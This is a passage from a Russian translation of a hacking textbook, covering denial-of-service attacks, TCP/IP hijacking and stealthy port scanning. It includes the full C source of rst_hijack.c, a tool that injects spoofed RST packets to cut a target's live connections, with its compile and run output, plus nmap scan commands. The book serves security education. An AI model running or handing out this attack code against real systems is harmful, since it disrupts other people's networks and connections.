Главная страница

Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


Скачать 2.5 Mb.
НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
АнкорХакинг
Дата16.06.2022
Размер2.5 Mb.
Формат файлаpdf
Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
ТипКнига
#595131
страница31 из 51
1   ...   27   28   29   30   31   32   33   34   ...   51

286
0x400Сетевое взаимодействие
17:08:16.394909 IP 120.112.199.34.19452 > 192.168.42.88.22: S
1420507902:1420507902(0) win 53397 17:08:16.406491 IP 60.9.221.120.21573 > 192.168.42.88.22: S
2144342837:2144342837(0) win 10594 17:08:16.418494 IP 137.101.201.0.54665 > 192.168.42.88.22: S
1185734766:1185734766(0) win 57243 17:08:16.430497 IP 188.5.248.61.8409 > 192.168.42.88.22: S
1825734966:1825734966(0) win 43454 17:08:16.442911 IP 44.71.67.65.60484 > 192.168.42.88.22: S
1042470133:1042470133(0) win 7087 17:08:16.454489 IP 218.66.249.126.27982 > 192.168.42.88.22: S
1767717206:1767717206(0) win 50156 17:08:16.466493 IP 131.238.172.7.15390 > 192.168.42.88.22: S
2127701542:2127701542(0) win 23682 17:08:16.478497 IP 130.246.104.88.48221 > 192.168.42.88.22: S
2069757602:2069757602(0) win 4767 17:08:16.490908 IP 140.187.48.68.9179 > 192.168.42.88.22: S
1429854465:1429854465(0) win 2092 17:08:16.502498 IP 33.172.101.123.44358 > 192.168.42.88.22: S
1524034954:1524034954(0) win 26970 15 packets captured
30 packets received by filter
0 packets dropped by kernel reader@hacking:

/booksrc $ ssh -v 192.168.42.88
OpenSSH_4.3p2, OpenSSL 0.9.8c 05 Sep 2006
debug1: Reading configuration data /etc/ssh/ssh_config debug1: Connecting to 192.168.42.88 [192.168.42.88] port 22.
debug1: connect to address 192.168.42.88 port 22: Connection refused ssh: connect to host 192.168.42.88 port 22: Connection refused reader@hacking:/booksrc $
Некоторые операционные системы (например, Linux) применяют для борьбы с SYN-флудом метод под названием syncookies. Стек TCP, в ко- тором используются syncookies, настраивает начальный номер под- тверждения для ответного SYN/ACK-пакета в зависимости от особен- ностей узла и времени (чтобы помешать атаке с воспроизведением ста- рых пакетов). Соединения TCP активизируются только после провер- ки последнего ACK-пакета в процедуре открытия соединения TCP.
Если порядковый номер неверный или ACK не получен, соединение не создается. Это помогает бороться с фальшивыми запросами соеди- нений, потому что ACK-пакет требует передачи информации по адресу отправителя начального SYN-пакета.
0x452 Смертельный ping
Согласно спецификации ICMP эхо-сообщениям ICMP разрешает- ся иметь в секции данных пакета до 2 16
(то есть 65 536) байт данных.
На раздел данных в ICMP-пакетах часто не обращают внимания, по- скольку вся существенная информация находится в заголовке. Не- которые операционные системы при получении эхо-сообщений ICMP

0x450 Отказ в обслуживании
287
с большим, чем разрешено, размером аварийно завершали работу.
Эхо-сообщение ICMP такого гигантского размера любовно назвали
«пингом смерти». Это крайне простой хак, ответ на уязвимость, воз- никшую в результате того, что производители некоторых ОС никог- да не рассматривали такую возможность. С помощью libnet вы легко напишете программу, реализующую такую атаку, однако на практи- ке от нее будет мало пользы: во всех современных системах эта уязви- мость устранена.
Однако история повторяется. Хотя большие ICMP-пакеты больше не устраивают аварийные ситуации компьютерам, новые технологии по- рой чреваты схожими проблемами. В протоколе Bluetooth, часто ис- пользуемом с телефонами, есть аналогичный пакет на уровне L2CAP, используемый также для замера продолжительности установленно- го соединения. Многие реализации Bluetooth страдают от той же про- блемы с пакетом недопустимой длины. Адам Лори (Adam Laurie), Мар- сель Холтманн (Marcel Holtmann) и Мартин Герфурт (Martin Herfurt) окрестили эту атаку «Bluesmack» и опубликовали исходный код одно- именной программы, реализующей эту атаку.
0x453 Teardrop
Другая DoS-атака, вызывающая аварию системы и обусловленная примерно теми же причинами, была названа teardrop («слеза»). Она использовала уязвимость в нескольких реализациях сборки фрагмен- тированных IP-пакетов. Обычно, если пакет фрагментирован, то хра- нящиеся в заголовках смещения имеют такие значения, что исходный пакет восстанавливается из неперекрывающихся частей. Teardrop- атака отправляла фрагменты пакета с перекрывающимися смещения- ми, что влекло неминуемую аварию тех систем, в которых проверка та- кой необычной ситуации не выполнялась.
Данная конкретная атака больше не действует, но знакомство с ее иде- ей может помочь увидеть проблемы в других областях. Недавно уда- ленный эксплойт для OpenBSD (гордящейся своей защищенностью), связанный с фрагментированными пакетами IPv6, не сводился к отка- зу в обслуживании. В IP версии 6 заголовки сложнее, чем в версии 4, и к тому же другой, непривычный формат IP-адресов. Но часто старые ошибки воспроизводятся в первых версиях новых продуктов.
0x454 Пинг-флудинг
DoS-атаки, применяющие флудинг (flooding), необязательно направ- лены на аварийное завершение работы службы или ресурса; часто они пытаются так загрузить их, чтобы лишить возможности отвечать на запросы. Аналогичные атаки могут быть направлены на истощение та- ких ресурсов, как циклы CPU или системные процессы, но флудинг нацелен именно на истощение сетевых ресурсов.

288
0x400Сетевое взаимодействие
В простейшем виде флудинга применяется пингование (ping). Задача состоит в том, чтобы исчерпать пропускную способность канала свя- зи атакуемой системы, из-за чего нормальные пакеты не смогут к ней пробиться. Атакующий посылает жертве множество больших ping- пакетов, которые съедают всю ширину канала (bandwidth), соединя- ющего жертву с сетью. Особой изобретательности в этой атаке нет, по- скольку это всего лишь война пропускных способностей: если у атаку- ющего канал мощнее, чем у жертвы, он может послать данных больше, чем жертва способна принять, поэтому законному трафику будет отка- зано в доступе к жертве.
0x455 Атаки с усилителем
Есть некоторые действительно искусные способы организации флуда, не требующие, чтобы у атакующего был канал с очень большой про- пускной способностью. В атаке с усилителем (amplification attack) при- меняются фальсификация адресов и широковещательная адресация, посредством которых исходный поток пакетов усиливается в сотни раз. Сначала отыскивается система, предназначаемая на роль усилите- ля. Это может быть сеть, в которой разрешено использование широко- вещательного адреса и есть достаточно большое количество активных узлов. Атакующий посылает по широковещательному адресу сети уси- лителя большие пакеты эхо-запросов ICMP с фальсифицированным адресом отправителя, в качестве которого указывается адрес жертвы.
Усилитель передает эти пакеты всем узлам, находящимся в сети, кото- рые посылают соответственно пакеты эхо-ответов ICMP по поддельно- му адресу отправителя, которым является адрес жертвы.
Такое усиление трафика позволяет атакующему посылать относи- тельно небольшой поток пакетов эхо-запросов ICMP, тогда как жертва оказывается завалена в сотни раз большим количеством пакетов эхо- ответов ICMP (рис. 4.9). Эту атаку можно проводить с использованием как ICMP-пакетов, так и эхо-пакетов UDP. Эти технологии называют- ся smurf- и fraggle-атаками соответственно.
Атакующий
Жертва
Все узлы отвечают на фальсифицированный адрес
Фальсифицированные пакеты якобы с адреса жертвы посылаются по широковещательному адресу сетиусилителя
Сетьусилитель
A
B
C
D
E
F
G
H
I
J
Рис. 4.9.
Атака с усилителем

0x460 Захват TCP/IP
289
0x456 Распределенная DoS-атака
Распределенная DoS-атака (Distributed Denial Of Service, DDoS) – это распределенный вариант DoS-атаки типа флудинг. Поскольку задача флудинга – максимально понизить пропускную способность канала жертвы, то чем больший канал окажется доступен атакующему, тем значительней вред, который он способен нанести. В DDoS-атаке ата- кующий сначала взламывает ряд других узлов, устанавливая на них программы-роботы (боты). Эти боты спокойно ждут, пока атакующий не выберет жертву и не решит на нее напасть. Тогда атакующий с помо- щью какой-нибудь управляющей программы заставляет все боты одно- временно атаковать жертву, используя один из видов флудинга. При этом не только усиливается эффект флудинга за счет большого коли- чества узлов, но и значительно затрудняется поиск источника атаки.
0x460 Захват TCP/IP
Захват TCP/IP (hijacking) – искусный прием, в котором с помощью поддельных пакетов перехватывается соединение между жертвой и другим узлом. Эта техника особенно полезна, когда соединение жерт- вы устанавливается с применением одноразовых паролей. Поскольку одноразовые пароли применяются для аутентификации один и только один раз, перехват пакетов, содержащих пароли, бесполезен для ата- кующего.
Чтобы осуществить захват TCP/IP, атакующий и жертва должны нахо- диться в одной сети. Перехватывая пакеты, проходящие в сети, можно узнать из их заголовков все детали открытых TCP-соединений. Как мы уже знаем, каждый TCP-пакет содержит в заголовке порядковый но- мер. Для каждого нового пакета этот порядковый номер увеличивает- ся, чтобы получатель мог восстановить правильный порядок пакетов.
Атакующий выясняет номера пакетов жертвы (системы А на рис. 4.10) и узла, с которым она соединена (системы Б). Затем атакующий посы- лает узлу Б поддельный пакет от имени жертвы с правильным поряд- ковым номером, чтобы получить подтверждение.
Узел, получивший поддельный пакет с правильным номером под- тверждения, не догадывается, что он поступил не с атакованной ма- шины.
0x461 Перехват с помощью RST
В очень простом варианте захвата TCP/IP применяется инъекция ау- тентично выглядящих пакетов сброса (RST, от reset). Если адрес от- правителя подделан, а номер подтверждения правильный, то прини- мающая сторона поверит, что отправитель действительно послал пакет сброса, и заново установит соединение.

290
0x400Сетевое взаимодействие src : 192.168.0.100
dst : 192.168.0.200
seq #: 1429775000
ack #: 1250510000
len : 24
src : 192.168.0.200
dst : 192.168.0.100
seq #: 1250510000
ack #: 1429775024
len : 167
src : 192.168.0.100
dst : 192.168.0.200
seq #: 1429775024
ack #: 1250510167
len : 71
Система A
192.168.0.100
Система Б
192.168.0.200
Система
атакующего
Рис. 4.10. Захват TCP/IP
Представим программу, которая могла бы выполнить такую атаку по заданному IP-адресу. Она может перехватывать пакеты с помощью биб- лиотеки libpcap и вводить RST-пакеты с помощью libnet. Не требует- ся просматривать все пакеты – нужны только те, которые передаются в открытом TCP-соединении с заданным IP-адресом.
Многим другим программам, которые используют libpcap, тоже не нужны все пакеты, поэтому libpcap предоставляет способ сообщить ядру, чтобы оно передавало только те пакеты, которые удовлетворяют определенному фильтру. Этот фильтр, известный как фильтр пакетов
Беркли (Berkeley Packet Filter, BPF), очень похож на программу. Напри- мер, вот правило фильтрации пакетов, адресованных IP 192.168.42.88:
“dst host 192.168.42.88”
Как и программа, это правило содержит ключевые слова и должно быть скомпилировано перед отправкой ядру. Программа tcpdump ис- пользует BPF для фильтрации перехватываемых пакетов. В ней также есть режим дампа программы фильтра.
reader@hacking:/booksrc $ sudo tcpdump -d “dst host 192.168.42.88”
(000) ldh [12]
(001) jeq #0x800 jt 2 jf 4
(002) ld [30]
(003) jeq #0xc0a82a58 jt 8 jf 9
(004) jeq #0x806 jt 6 jf 5
(005) jeq #0x8035 jt 6 jf 9
(006) ld [38]
(007) jeq #0xc0a82a58 jt 8 jf 9
(008) ret #96
(009) ret #0
reader@hacking:/booksrc $ sudo tcpdump -ddd “dst host 192.168.42.88”

0x460 Захват TCP/IP
291
10 40 0 0 12 21 0 2 2048 32 0 0 30 21 4 5 3232246360 21 1 0 2054 21 0 3 32821 32 0 0 38 21 0 1 3232246360 6 0 0 96 6 0 0 0
reader@hacking:/booksrc $
После того как правило фильтрации скомпилировано, его можно пере- дать ядру. Вести перехват установленных соединений несколько слож- нее. Во всех пакетах открытых соединений установлен флаг ACK – его- то мы и должны искать. Флаги находятся в 13-м октете TCP-заголовка.
Они располагаются в порядке URG, ACK, PSH, RST, SYN и FIN, слева напра- во. Таким образом, если флаг ACK установлен, то 13-м октетом будет
00010000
в двоичном виде, или 16 в десятичном. Если выставлены оба флага SYN и ACK, то 13-м октетом будет 00010010 в двоичном виде, или 18 в десятичном.
Чтобы создать фильтр, отбирающий пакеты с включенным флагом ACK независимо от всех остальных битов, применяется оператор поразряд- ного И. Операция И между 00010010 и 00010000 дает 00010000, потому что
ACK
– единственный разряд с двумя единицами. Таким образом, фильтр tcp[13] & 16 == 16
соответствует пакетам с установленным флагом ACK независимо от состояния оставшихся флагов. Это правило фильтрации можно переписать, применив именованные величины и инвертировав логику, в виде tcp[tcpflags] & tcp-ack != 0. Результат тот же, но читать легче. Это правило можно объединить с правилом фильтрации адреса получателя, и тогда мы получим:
reader@hacking:/booksrc $ sudo tcpdump -nl “tcp[tcpflags] & tcp-ack != 0 and dst host 192.168.42.88”
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
10:19:47.567378 IP 192.168.42.72.40238 > 192.168.42.88.22: . ack 2777534975 win 92
10:19:47.770276 IP 192.168.42.72.40238 > 192.168.42.88.22: . ack 22 win 92

10:19:47.770322 IP 192.168.42.72.40238 > 192.168.42.88.22: P 0:20(20) ack 22 win 92
10:19:47.771536 IP 192.168.42.72.40238 > 192.168.42.88.22: P 20:732(712) ack
766 win 115
10:19:47.918866 IP 192.168.42.72.40238 > 192.168.42.88.22: P 732:756(24) ack
766 win 115
Аналогичное правило применяется в следующей программе для филь- трации пакетов, перехватываемых с помощью libpcap. Получив пакет,

292
0x400Сетевое взаимодействие программа создает на базе информации его заголовка фальшивый RST- пакет. Работа программы поясняется после ее листинга.
rst_hijack.c
#include
#include
#include “hacking.h”
void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *);
int set_packet_filter(pcap_t *, struct in_addr *);
struct data_pass {
int libnet_handle;
u_char *packet;
};
int main(int argc, char *argv[]) {
struct pcap_pkthdr cap_header;
const u_char *packet, *pkt_data;
pcap_t *pcap_handle;
char errbuf[PCAP_ERRBUF_SIZE]; // Размер совпадает с LIBNET_ERRBUF_SIZE
char *device;
u_long target_ip;
int network;
struct data_pass critical_libnet_data;
if(argc < 1) {
printf(“Usage: %s \n”, argv[0]);
exit(0);
}
target_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE);
if (target_ip == -1)
fatal(“Invalid target address”);
device = pcap_lookupdev(errbuf);
if(device == NULL)
fatal(errbuf);
pcap_handle = pcap_open_live(device, 128, 1, 0, errbuf);
if(pcap_handle == NULL)
fatal(errbuf);
critical_libnet_data.libnet_handle = libnet_open_raw_sock(IPPROTO_RAW);
if(critical_libnet_data.libnet_handle == -1)
libnet_error(LIBNET_ERR_FATAL, “can’t open network interface. -- this program must run as root.\n”);
libnet_init_packet(LIBNET_IP_H + LIBNET_TCP_H,
&(critical_libnet_data.packet));

0x460 Захват TCP/IP
293
if (critical_libnet_data.packet == NULL)
libnet_error(LIBNET_ERR_FATAL, “can’t initialize packet memory.\n”);
libnet_seed_prand();
set_packet_filter(pcap_handle, (struct in_addr *)&target_ip);
printf(“Resetting all TCP connections to %s on %s\n”, argv[1], device);
pcap_loop(pcap_handle, -1, caught_packet, (u_char *)&critical_libnet_data);
pcap_close(pcap_handle);
}
В основном работа этой программы должна быть понятна. Снача- ла определяется структура data_pass, посредством которой передают- ся данные функции обратного вызова libpcap. Для открытия сокета с прямым доступом и выделения памяти пакету используется libnet.
Дескриптор сокета прямого доступа и указатель на память пакета по- требуются функции обратного вызова, поэтому такие важные данные
libnet хранятся в специальной структуре.
Последний аргумент в обращении к pcap_loop() – указатель, передава- емый непосредственно функции обратного вызова. Благодаря передан- ному указателю на структуру critical_libnet_data функция обратного вызова получает доступ ко всему ее содержимому. Кроме того, размер данных в pcap_open_live() сокращен с 4096 до 128, потому что все необ- ходимое нам находится в заголовке.
/* Задает фильтр пакетов для поиска установленных соединений с target_ip */
int set_packet_filter(pcap_t *pcap_hdl, struct in_addr *target_ip) {
struct bpf_program filter;
char filter_string[100];
sprintf(filter_string, “tcp[tcpflags] & tcp-ack != 0 and dst host %s”, inet_ntoa(*target_ip));
printf(“DEBUG: filter string is \’%s\’\n”, filter_string);
if(pcap_compile(pcap_hdl, &filter, filter_string, 0, 0) == -1)
fatal(“pcap_compile failed”);
if(pcap_setfilter(pcap_hdl, &filter) == -1)
fatal(“pcap_setfilter failed”);
}
Следующая функция компилирует и устанавливает фильтр, чтобы перехватывать только пакеты в установленных соединениях с задан- ным IP-адресом. Функция sprintf() – это та же printf(), но с выводом в строку.
void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char *packet) {
u_char *pkt_data;

294
0x400Сетевое взаимодействие struct libnet_ip_hdr *IPhdr;
struct libnet_tcp_hdr *TCPhdr;
struct data_pass *passed;
int bcount;
passed = (struct data_pass *) user_args; // Передать данные
// с помощью указателя на структуру.
IPhdr = (struct libnet_ip_hdr *) (packet + LIBNET_ETH_H);
TCPhdr = (struct libnet_tcp_hdr *) (packet + LIBNET_ETH_H + LIBNET_TCP_H);
printf(“resetting TCP connection from %s:%d “,
inet_ntoa(IPhdr->ip_src), htons(TCPhdr->th_sport));
printf(“<---> %s:%d\n”,
inet_ntoa(IPhdr->ip_dst), htons(TCPhdr->th_dport));
libnet_build_ip(LIBNET_TCP_H, // Размер пакета без заголовка IP
IPTOS_LOWDELAY, // Тип сервиса IP
libnet_get_prand(LIBNET_PRu16), // IP ID (случайный)
0, // Фрагментация libnet_get_prand(LIBNET_PR8), // TTL (случайный)
IPPROTO_TCP, // Транспортный протокол
*((u_long *)&(IPhdr->ip_dst)), // IP отправителя
// (прикидываемся получателем)
*((u_long *)&(IPhdr->ip_src)), // IP получателя (вернуть отправителю)
NULL, // Данные (нет)
0, // Размер данных passed->packet); // Память заголовка пакета libnet_build_tcp(htons(TCPhdr->th_dport), // Порт TCP отправителя
// (прикидываемся получателем)
htons(TCPhdr->th_sport), // Порт TCP получателя
// (вернуть отправителю)
htonl(TCPhdr->th_ack), // Порядковый номер (взять прежний ack)
libnet_get_prand(LIBNET_PRu32), // Номер подтверждения(случайный)
TH_RST, // Флаги (задан только RST)
libnet_get_prand(LIBNET_PRu16), // Размер окна (случайный)
0, // Срочность
NULL, // Данные (нет)
0, // Размер данных
(passed->packet) + LIBNET_IP_H);// Память заголовка пакета if (libnet_do_checksum(passed->packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
libnet_error(LIBNET_ERR_FATAL, “can’t compute checksum\n”);
bcount = libnet_write_ip(passed->libnet_handle, passed->packet,
LIBNET_IP_H+LIBNET_TCP_H);
if (bcount < LIBNET_IP_H + LIBNET_TCP_H)
libnet_error(LIBNET_ERR_WARNING, “Warning: Incomplete packet written.”);
usleep(5000); // Небольшая пауза
}

0x470 Сканирование портов
295
Эта функция обратного вызова подделывает RST-пакеты. Сначала из- влекаются критические данные libnet, а указатели на заголовки IP и TCP формируются с помощью структур, определенных в libnet. Мож- но было взять наши собственные структуры из hacking-network.h, но есть готовые структуры libnet, которые учитывают порядок байтов на узле. В фальсифицированном RST-пакете в качестве получателя ука- зан перехваченный адрес отправителя, и наоборот. Перехваченный порядковый номер задан в качестве номера подтверждения, ибо этого ждет получатель.
reader@hacking:/booksrc $ gcc $(libnet-config --defines) -o rst_hijack rst_hijack.c -lnet -lpcap reader@hacking:/booksrc $ sudo ./rst_hijack 192.168.42.88
DEBUG: filter string is ‘tcp[tcpflags] & tcp-ack != 0 and dst host
192.168.42.88’
Resetting all TCP connections to 192.168.42.88 on eth0
resetting TCP connection from 192.168.42.72:47783 <---> 192.168.42.88:22
0x462 Еще о перехвате
Фальсифицировать можно не только RST-пакеты. Атака становит- ся интереснее, если фальшивый пакет содержит данные. Приняв под- дельный пакет, узел увеличивает порядковый номер и отвечает жертве атаки. Так как жертва не знает о поддельном пакете, ответ узла содер- жит недопустимый порядковый номер и потому отбрасывается. А по- сле отбрасывания этого пакета счетчик порядковых номеров жертвы сбивается. В результате у всех пакетов, которые жертва попытается послать узлу, будут неверные номера, и они будут отвергнуты узлом.
Неверные порядковые номера оказываются на обоих законных концах соединения, и оно рассинхронизируется. А поскольку атакующий по- слал первый поддельный пакет, вызвавший это хаос, он может отсле- живать порядковые номера и продолжать посылать узлу поддельные пакеты от имени жертвы. Таким образом, атакующий сохраняет связь с узлом, тогда как соединение жертвы не функционирует.
0x470 Сканирование портов
Сканирование портов позволяет выяснить, какие порты готовы при- нять соединение. Большинство служб принимает соединение на стан- дартных документированных портах, поэтому данная информация по- могает определить, какие службы запущены в системе. В простейшем случае делаются попытки открыть соединение с каждым из возмож- ных портов в атакуемой системе. Это осуществимо, но бросается в гла- за и легко обнаруживается. Кроме того, при установлении соединения службы обычно регистрируют IP-адрес в журнале. Чтобы избежать об- наружения, разработан ряд искусных приемов.

296
0x400Сетевое взаимодействие
Программа nmap, автором которой является Fyodor, реализует все опи- сываемые далее приемы сканирования портов. Это один из самых попу- лярных инструментов сканирования с открытым исходным кодом.
0x471 Скрытое SYN-сканирование
SYN-сканирование иногда называют также полуоткрытым сканиро-
ванием. Дело в том, что полное TCP-соединение фактически не откры- вается. Вспомним процедуру установления связи в TCP/IP: сначала по- сылается SYN-пакет, затем обратно посылается SYN/ACK-пакет, и на- конец возвращается ACK-пакет, чем завершается установление связи и открытие соединения. SYN-сканирование не доводит установление связи до конца, и соединение не открывается полностью. Вместо это- го посылается первоначальный SYN-пакет и изучается ответ на него.
Если в качестве ответа получен SYN/ACK-пакет, значит, порт прини- мает соединения. Этот факт регистрируется, и посылается пакет сбро- са (RST-пакет), чтобы разорвать соединение и не допустить возникно- вения DoS-ситуации.
SYN-сканирование можно осуществить, запустив nmap с ключом -sS.
Программу нужно запускать с правами суперпользователя, потому что она не использует стандартные сокеты и требует доступа к канально- му уровню.
reader@hacking:/booksrc $ sudo nmap -sS 192.168.42.72
Starting Nmap 4.20 ( http://insecure.org ) at 2007-05-29 09:19 PDT
Interesting ports on 192.168.42.72:
Not shown: 1696 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap finished: 1 IP address (1 host up) scanned in 0.094 seconds
0x472 FIN, X-mas и Null-сканирование
Для защиты от SYN-сканирования были созданы средства обнаруже- ния и регистрации полуоткрытых соединений. В результате появился ряд других технологий скрытого сканирования портов: FIN-, X-mas- и Null-сканирование. Все они предполагают отправку бессмысленных пакетов на каждый порт изучаемой системы. Если порт ожидает сое- динения, эти пакеты игнорируются. Если же порт закрыт, а реализа- ция следует протоколу RFC 793, посылается RST-пакет. Основываясь на этом различии, можно выяснить, какие порты принимают соедине- ния, фактически не открывая их.
При FIN-сканировании посылается FIN-пакет, при X-mas-ска ни ро- вании посылается пакет с выставленными флагами FIN, URG и PUSH (от- сюда и название – флажки горят, как на рождественской елке), а при

0x470 Сканирование портов
297
Null-сканировании посылается пакет без флагов TCP. Эти типы скани- рования более скрытны, но бывают ненадежными. Например, в реали- зации TCP от Microsoft RST-пакеты не посылаются, как следовало бы по стандарту, и этот вид сканирования оказывается неэффективным.
FIN-, X-mas- и Null-сканирование можно осуществить, запустив nmap с ключом -sF, -sX или -sN соответственно. Результат выглядит пример- но так же, как в предыдущем случае.
0x473 Создание ложных целей
Еще один способ избежать обнаружения – попытаться спрятаться среди нескольких ложных адресов. В этой технологии соединения от ложных
IP-адресов просто перемежаются с реальными соединениями с целью сканирования портов. Ответы от фальсифицированных соединений не нужны, потому что они служат только для обмана. Однако подделанные адреса ложных целей должны быть реальными IP-адресами действую- щих узлов, иначе в исследуемой системе можно вызвать SYN-флуд.
Ложные адреса можно задавать в nmap с помощью ключа -D. Пример сканирования с помощью nmap адреса 192.168.42.72 с применением ложных адресов 192.168.42.10 и 192.168.42.11:
reader@hacking:/booksrc $ sudo nmap -D 192.168.42.10,192.168.42.11 192.168.42.72
0x474 Сканирование через бездействующий узел
Сканирование через бездействующий узел (idle scanning) основано на отправке поддельных пакетов от имени этого узла и наблюдении за из- менениями, происходящими на узле. Атакующий должен найти такой узел, который не отправляет и не принимает никакого иного сетевого трафика, и чтобы при этом реализация TCP на нем генерировала пред- сказуемые идентификаторы IP с известным характером инкременти- рования для каждого нового пакета. Идентификаторы IP должны быть уникальными для каждого пакета на протяжении сеанса, и обычно они увеличиваются на фиксированную величину. Предсказуемость идентификаторов IP-пакетов никогда не считалась угрозой безопасно- сти, на этом заблуждении и основано сканирование через бездействую- щий узел. В более новых операционных системах, например в свежих версиях ядра Linux, в OpenBSD и Windows Vista, идентификаторы па- кетов рандомизируются, тогда как в старых ОС и устройствах (скажем, принтерах) – нет.
Сначала атакующий получает текущий идентификатор IP-пакета это- го вспомогательного узла: отправляет ему SYN-пакет или незапрошен- ный SYN/ACK-пакет и читает идентификатор ответного пакета. По- вторив эту процедуру несколько раз, можно определить, насколько увеличивается идентификатор каждого следующего пакета.

298
0x400Сетевое взаимодействие
Затем атакующий посылает ложный SYN-пакет от имени вспомога- тельного узла на порт изучаемой машины. В зависимости от того, ак- тивен этот порт или нет, возможны две ситуации:
• Если порт принимает соединения, вспомогательному узлу будет по- слан ответный SYN/ACK-пакет. Но поскольку вспомогательный узел на самом деле не посылал начальный SYN-пакет, он отреаги- рует на получение этого непрошеного пакета отправкой RST-пакета для сброса соединения.
• Если порт не принимает соединения, исследуемая машина не по- шлет вспомогательному узлу SYN/ACK-пакет и ответа от вспомога- тельного узла не будет.
В этот момент атакующий снова связывается с вспомогательным узлом, чтобы узнать, насколько увеличился идентификатор IP-пакетов. Если он увеличился лишь на один интервал, значит, вспомогательный узел не посылал между двумя проверками другие пакеты. Значит, на обсле- дуемой машине проверяемый порт закрыт. Если идентификатор паке- та увеличился на два интервала, то между проверками вспомогатель- ный узел послал один пакет, скорее всего, RST-пакет. Значит, порт на исследуемой машине открыт.
Оба возможных исхода показаны на рис. 4.11.
Неработающий
узел
Сканируемый
узел
SYN/ACK
RST (ID = 51)
Шаг 2
Неработающий
узел
Сканируемый
узел
Порт сканируемого
узла открыт
Порт сканируемого
узла закрыт
Атакующий
SYN/ACK
RST (ID = 52)
SYN
С ложным заданием неработающего узла в качестве отправителя
Шаг 1
Шаг 3
Последний ID
от неработающего узла = 50
Атакующий
SYN/ACK
RST (ID = 51)
SYN
С ложным заданием неработающего узла в качестве отправителя
Шаг 1
Шаг 2
Последний ID
от неработающего узла = 50
Рис. 4.11. Сканирование через бездействующий узел
Конечно, если вспомогательный узел не совсем пассивен, результаты сканирования будут искаженными. Если его собственный трафик не-

0x470 Сканирование портов
299
велик, можно послать в каждый порт серию пакетов. Если, например, послать 20 пакетов, то для открытого порта будет отмечено увеличение идентификатора на 20 шагов, а для закрытого увеличения не будет.
Даже если вспомогательный хост отправит 1–2 пакета, не связанных с проводимым сканированием, разница между открытым и закрытым портами окажется заметной.
Правильно применяя эту технологию неактивного вспомогательного узла, не имеющего средств регистрации получаемых пакетов, атаку- ющий может просканировать любую цель, не раскрыв при этом свое- го IP-адреса.
Найдя подходящий бездействующий узел, можно провести сканирова- ние такого типа, запустив nmap с ключом -sI и задав адрес узла:
reader@hacking:/booksrc $ sudo nmap -sI idlehost.com 192.168.42.7
0x475 Активная защита (shroud)
Сканирование портов часто применяется для определения характери- стик систем перед тем, как атаковать их. Зная, какие порты открыты, атакующий может определить, какие службы могут быть атакованы.
Многие системы обнаружения атак предоставляют средства для выяв- ления сканирования портов, но они поднимают тревогу, когда утечка информации уже произошла. Работая над этой главой, я размышлял о том, можно ли противостоять сканированию портов до того, как оно действительно произойдет. Суть хакинга заключается в предложении новых идей, поэтому ниже будет предложен простой новый способ ак- тивной защиты от сканирования портов.
Во-первых, сканирование с помощью пакетов FIN, Null и X-mas мож- но предотвратить путем простой модификации ядра. Если ядро не по- сылает пакеты сброса, то это сканирование ничего не даст. Следующий листинг показывает, как с помощью grep найти в ядре код, отвечаю- щий за отправку пакетов сброса.
reader@hacking:/booksrc $ grep -n -A 20 “void.*send_reset” /usr/src/linux/
net/ipv4/tcp_ipv4.c
547:static void tcp_v4_send_reset(struct sock *sk, struct sk_buff *skb)
548-{
549- struct tcphdr *th = skb->h.th;
550- struct {
551- struct tcphdr th;
552-#ifdef CONFIG_TCP_MD5SIG
553- __be32 opt[(TCPOLEN_MD5SIG_ALIGNED >> 2)];
554-#endif
555- } rep;
556- struct ip_reply_arg arg;
557-#ifdef CONFIG_TCP_MD5SIG
558- struct tcp_md5sig_key *key;
559-#endif

300
0x400Сетевое взаимодействие
560-
return; // Модификация: вообще не посылать RST, всегда return.
561- /* Никогда не посылать RST в ответ на RST. */
562- if (th->rst)
563- return;
564-
565- if (((struct rtable *)skb->dst)->rt_type != RTN_LOCAL)
566- return;
567- reader@hacking:/booksrc $
После добавления команды return (выделена полужирным) функция ядра tcp_v4_send_reset() будет просто осуществлять возврат, ничего не делая. После перекомпиляции получается ядро, не посылающее паке- тов сброса, что предотвращает утечку информации.
FIN-сканирование до модификации ядра:
matrix@euclid: $ sudo nmap -T5 -sF 192.168.42.72
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-03-17 16:58 PDT
Interesting ports on 192.168.42.72:
Not shown: 1678 closed ports
PORT STATE SERVICE
22/tcp open|filtered ssh
80/tcp open|filtered http
MAC Address: 00:01:6C:EB:1D:50 (Foxconn)
Nmap finished: 1 IP address (1 host up) scanned in 1.462 seconds matrix@euclid: $
FIN-сканирование после модификации ядра:
matrix@euclid: $ sudo nmap -T5 -sF 192.168.42.72
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-03-17 16:58 PDT
Interesting ports on 192.168.42.72:
Not shown: 1678 closed ports
PORT STATE SERVICE
MAC Address: 00:01:6C:EB:1D:50 (Foxconn)
Nmap finished: 1 IP address (1 host up) scanned in 1.462 seconds matrix@euclid: $
Против сканирования с помощью RST-пакетов такой способ весьма эф- фективен, но предотвратить утечку информации в результате сканиро- вания SYN-пакетами и полным соединением несколько сложнее. Что- бы сохранить необходимые функции, открытые порты должны отве- чать SYN/ACK-пакетами – этого не избежать. Но если все закрытые порты тоже будут отвечать SYN/ACK-пакетами, то объем полезной ин- формации, которую атакующий получит в результате сканирования портов, станет минимальным. Если просто открывать каждый порт, это приведет к существенной вычислительной нагрузке, что нежела- тельно. В идеале это все должно действовать вообще без использова-

0x470 Сканирование портов
301
ния стека TCP. Такую работу выполняет следующая программа. Это модификация кода rst_hijack.c, использующая более сложное прави- ло фильтрации для выделения только SYN-пакетов, адресованных за- крытым портам. Функция обратного вызова генерирует правдоподоб- но выглядящий ответный SYN/ACK в ответ на каждый SYN-пакет, прошедший фильтр BPF. В результате сканер порта получит уйму ложных подтверждений, среди которых затеряются открытые порты.
shroud.c
#include
#include
#include “hacking.h”
#define MAX_EXISTING_PORTS 30
